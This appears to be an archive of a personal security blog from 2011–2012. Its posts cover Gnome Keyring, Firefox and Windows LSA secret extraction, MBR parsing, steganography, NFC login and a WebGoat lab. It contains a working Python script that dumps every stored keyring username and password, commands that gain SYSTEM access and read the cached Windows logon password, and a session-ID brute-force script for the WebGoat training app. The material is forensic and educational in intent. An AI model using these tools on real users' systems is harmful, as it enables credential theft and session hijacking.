Pages

Sunday, July 15, 2012

Extracting Gnome Keyring credentials


Gnome Keyring is a (good:) daemon that stores different security credentials encrypted in a file in the user’s home directory. It uses the login password for encryption, and after the keyring is decrypted at logon, the password is no longer necessary in the current user’s context. An attacker/forensic investigator can easily extract specific credentials from the GUI application (Applications -> Accessories -> Passwords and Encryption Keyrings), without being prompted for anything to authorize him.
Gnome Keyring does not protecting against active attacks (when the attacker has access to user’s session).
The analogous application for KDE is KWallet, working by the same principles. There is a python binding for this too.

Script for dumping gnome keyring credentials:
import gnomekeyring
 
def extract_keys():
    ''' Extract the usernames and passwords from all the keyrings'''
    
    for keyring in gnomekeyring.list_keyring_names_sync():
    # Get keyring name - "Login" is the default passwords keyring
        kr_name = keyring.title()
        print "Extracting keys from \"%s\" keyring:" % (kr_name)
        
        items = gnomekeyring.list_item_ids_sync(keyring);
        if len(items) == 0:
            print "Keyring \"%s\" is empty\n" % (kr_name)
            # If keyring is empty, continue to next keyring
            continue
        
        for i in range(0, len(items)):
            # Get information about an item (like description and secret)
            item_info = gnomekeyring.item_get_info_sync(keyring, items[i])
            description = item_info.get_display_name()
            password = item_info.get_secret()

            # Get attributes of an item (retrieve username)
            item_attr = gnomekeyring.item_get_attributes_sync(keyring, items[i])
            username = item_attr['username_value']

            print "[%d] %s" % (i, description)
            print " %s:%s" % (username, password)
        print ""
 
if __name__ == '__main__':
    extract_keys()

Tuesday, June 5, 2012

Parsing MBR

The Master Boot Record(MBR) contains the boot code and information about the partition table. It resides in the first 512 bytes (first sector) of a bootable disk.  The boot loader is in the first 446 bytes of MBR. A backup of MBR can help recover after a partition table corruption.
Some easy ways to understand MBR info and disk geometry:

Linux: dd + file commands

dd can be used to acquire the first sector of the bootable disk:
$ sudo dd if=/dev/sda of=mbr count=512
512+0 records in
512+0 records out
262144 bytes (262 kB) copied, 0.00553819 s, 47.3 MB/s

Information about partitions is obtained with file utility, that recognizes the dump as an MBR dump (by the MBR signature 0x55AA):
$ file mbr  
mbr: x86 boot sector; 
partition 1: ID=0x83, starthead 32, startsector 2048, 39061504 sectors; 
partition 2: ID=0x7, active, starthead 254, startsector 39070080, 44998065 sectors; 
partition 3: ID=0x83, starthead 254, startsector 84068145, 13671315 sectors; 
partition 4: ID=0x5, starthead 254, startsector 97739460, 214837245 sectors, code offset 0x63

In Windows:

Acquiring the MBR can be done with dd command (from UnxUtils):
>dd if=\\.\PhysicalDrive0 of=mbr count=1
1+0 records in
1+0 records out

Then, a small python script can be used to extract information, similar with file utility.

Other useful tools in Windows:
Information regarding disk geometry (Total Cylinders/Sectors/Tracks,  Sectors per Track, Tracks per cylinder) can be obtained with System Information utility from Windows:
System Information


The WinHex editor prints information about the first sector of every partition (provided also by file command):


Tuesday, May 1, 2012

Firefox passwords

Extracting Firefox passwords

     Firefox stores passwords using functions from their NSS library (Network Security Services). The easiest way to recover passwords saved by FF, without understanding the internals of NSS, is to analyze the code that encrypts the data (security\nss\lib, security\manage\ssl from Firefox source) and use similar functions exported by NSS library (nss3.dll.) for decryption. Encrypted passwords are encoded in Base64, and then stored in a SQLite database, in the Firefox folder under the user profile directory. The decryption key is encrypted (using user master password) and stored together with a salt in key3.db file. 
     An NSS password decryptor is also implemented in the ‘importer’ module from the Chrome browser source tree. 

     Here it's the source code that uses Firefox libraries to extract passwords (unprotected by a master key or with master key specified).  It works the same way as PasswordFox and can be modified/extended the same way.
     Unlike Chrome Passwords or IE,  Firefox passwords are not related to the logged on user, can be dumped offline if unprotected,  and key3.db keys can be brute forced in case a master password is used.

Protecting

     Some tips for using master password include:
  • Enable master password
  • Chose a good strong master password and you'l be fine until 2020 (3DES in CBC mode)
  • Avoid sniffers by using a password management software that supports this (Latest version of KeePass has very important security features that, if used correctly, can secure the passwords and even make key-logging useless (erase clipboard, block clipboard monitors, auto-type, auto-type obfuscations)

Tuesday, April 17, 2012

LSA Secrets

What are LSA Secrets

LSA secrets is a special protected storage for important data used by the Local Security Authority (LSA) in Windows. LSA is designed for managing a system's local security policy, auditing, authenticating, logging users on to the system, storing private data.

Where are stored

This "secret" information is stored in an encrypted format at system location in the registry (in HKLM\SECURITY\Policy\Secrets). Normally these registry keys are not visible even if you run regedit as administrator. The permissions for this key show that only the SYSTEM account has access to this key. There are some possibilities to access them though (granting read permission from regedit to the Admnistrator account didn't work for me, maybe because it didn't apply for the sub-keys,  I don't know):
  • Run a command prompt from task scheduler. A scheduled task will run in the context of the Task Scheduler service's account, being SYSTEM. A new task can be scheduled with the command:
at 09:45 /INTERACTIVE cmd.exe

and will appear in c:\WINDOWS\Tasks folder. 

In the new command prompt opened at hour 09:45 for example, if you run regedit now will be under SYSTEM user (this can be checked in Process Explorer, or with the following command line:

tasklist /FI "USERNAME eq NT AUTHORITY\SYSTEM"
  • A second option would be to use PsExec tool from SysInternals, that is used to execute programs on remote systems, with the -s flag (Run the remote process in the System account):  
psexec -s cmd

And in the new cmd opened under system account query for registry keys, like:

reg query HKEY_LOCAL_MACHINE\SECURITY\policy
  • A third approach would be a programmatic access to LSA secrets, described in the next section, that allows also creating new entries.

Programmatic approach

  • There are already some utilities to view secrets stored by LSA ([1], [2], [3]) 
  • and also details on how to access them using some deprecated (but still working!) API (LsaStorePrivateData/LsaRetrievePrivateData) on [4] and [5]. 
  • I've also written 2 small utilities(code here) to test how to add new secrets (key + value) and read them.

Getting current login password

Each secret (key) in HKLM\SECURITY\Policy\Secrets contains the data in CurrVal sub-key. For example on systems with auto logon enabled, there is a key DefaultPassword that contains the password cached. For some reasons this key already exists (with the password also) even on some systems without auto logon (I had that key on a Windows XP SP3, and I have never had auto login, so I couldn't find out why and when this key is created). 
A method to (try  to) get the logon password (used by lots of tools also) is to query the value from DefaultPassword key.
After building LsaSecretRead from [6]  ( nmake LsaSecretRead ) it's easy:

LsaSecretRead.exe DefaultPassword

References


  1. Oxid.it LSA Secrets Dumper
  2. Nirsoft LSASecretsDump
  3. Nirsoft LSASecretsView
  4. Insecure.org NT LSA Secrets
  5. Discovering Windows Default Password Using LsaRetrievePrivateData
  6. Secrets google code project

Tuesday, March 20, 2012

Quick steganography with Matlab

A. LSB Steganography

  • This concept (using the last significant bit of something) is general, and applies not only to RGB bmps, but to many kinds of  images, audio, video, etc. Implementation is simple [3].



B. DCT Steganography

  • This idea of hiding information in DCT coefficients is implemented by the JSTEG tool, which is the software from Independent JPEG Group JPEG, modifed for 1-bit steganography, developed by Derek Upham. The source is available here. From the README file, ' The JPEG encoding procedure divides an image into 8x8 blocks of pixels in the YCbCr colorspace.  Then they are run through a discrete cosine transform (DCT) and the resulting frequency coefficients are scaled to remove the ones which a human viewer would not detect under normal conditions.  If steganographic data is being loaded into the JPEG image, the loading occurs after this step.  The lowest-order bits of all non-zero frequency coefficients are replaced with successive bits from the steganographic source file, and these modified coefficients are sent to the Huffmann coder.'
  • It's a variation of LSB steganography, using DCT quantization coefficients.
  • Clearly detailed process + a tool for extraction (not detection), at [1]
  • The JEG Toolbox for Matlab can be used to access the DCT coefficients (and other cool stuff not available directly from Matlab  like quantization tables, Huffman coding tables, color space information, and comment markers). In the JPEG encoding process, these coefficients are quantized, zig-zag ordered and then compressed (Run-Length-Encding + Hufffman), so they aren't accessible from Matlab directly. 
  • There are techniques for detection and defeating this method of steganography. An analysis presented in [7]


Links:
1. Extracting data embedded with JSTEG
2. JPEG on Wiki
3. Watermark/stego Matlab project source, implementing DCT and LSB hiding schemes
4. Phil Sallee's Matlab JPEG Toolbox
5. JSTEG Steganalysis
6 Hide and Seek: An Introduction to Steganography
7. J.R. Krenn, Steganography and Steganalysis 

Wednesday, December 21, 2011

NFC authentication to Windows XP

1. pGina
- pGina is an open source authentication system, that can be used as a replacement for existing GINA in Windows
- it's architecture is based on plugins
- already supported types of user authentication: RSA SecureID, Kerberos, LDAP, PAM, SSH, and others..
- dummy skeleton plugin can be extended/modified to support authentication with nfc touchatag mifare tags (or any other suported by libnfc)


2. Libnfc
- libnfc (from version 1.5.1)  has a demo reader/writer for Mifare Ultralight cards.  This can be modified and used as an external program, launched by the plugin dll to perform nfc tag reading. Based on the ID read (or maybe other info) authentication can be performed.


3. Steps to use/enhance/customize the plugin
- study dummyPlugin
- useful resources on pGina mailing lists
- the binary for Mifare Ultralight tags reader can be modified and then integrated and built with libnfc cmake system. 
- another reader can be used (also from nfc library), for example one for the well-known  Mifare classic tag.
(!!! Security broken, but this is another story: 
http://en.wikipedia.org/wiki/MIFARE#Security_of_MIFARE_Classic
MFCUK: MiFare Classic Universal toolKit, 
crapto1: attacks against crypto1 proprietary cipher and
MFOC:  Mifare Classic Offline Cracker)


Resources:

  • A platform independent Near Field Communication library: libnfc
  • Open source replacement for authentication in MS Windows: pGina
  • Cheap NFC reader + demo cards (MIFARE Ultralight tags) : Touchatag
  • PoC plugin for pGina 1.x (Windows XP) to suport login with nfc tag: code.

Thursday, November 24, 2011

PoC fuzzer for weak session ID (WebGoat Hijack Session level)

The "Hijack Session" level from Session Management Flaws category guides you through cracking (through brute-force) a weak session id number, predictable, based on 2 parts:
- a sequential number
- time (in milliseconds) 


The first part of the solution implies using WebScarab's session analysis features. After finding out the missing number, and the time range for the missing number, the session cookie can be easily cracked. A Java tool for doing this is J-Baah. 
A simple python script to do just that, brute force the time variable, could be:
'''
Fuzzer for weak session ID (WebGoat Hijack Session level)

'''

import httplib

if __name__=="__main__":
 httpServ = httplib.HTTPConnection("127.0.0.1", 80)
 
 httpServ.connect()

 for wid in range (473, 582):
  weakid = "10991-1322155944%s" % wid
 
  headers = {"Host": "localhost",
     "Proxy-Connection": "keep-alive",
     "Content-length": "69",
     "Cache-Control": "max-age=0",
     "Origin": "http://localhost",
     "User-Agent": "Fuzzy",
     "Content-Type": "application/x-www-form-urlencoded",
     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
     "Referer": "http://localhost/WebGoat/attack?Screen=192&menu=1700",
     "Accept-Encoding": "gzip,deflate,sdch",
     "Accept-Language": "en-US,en;q=0.8",
     "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.3",
     "Cookie": "JSESSIONID=E7F6B85DD9423511BF95E45B70332DAB; WEAKID=%s" % weakid,
     "Authorization": "Basic Z3Vlc3Q6Z3Vlc3Q="}
  httpServ.request('POST', 
      '/WebGoat/attack?Screen=192&menu=1700', 
      'Username=Jack&Password=sniffy&WEAKID=%s&SUBMIT=Login'% weakid,
      headers)

  response = httpServ.getresponse()
  print "weakid: ", weakid
  print response.read()
 
  httpServ.close()
 


(Modifications needed for adjusting the missing sequential number (found through WebScarab session analysis), and the time range. )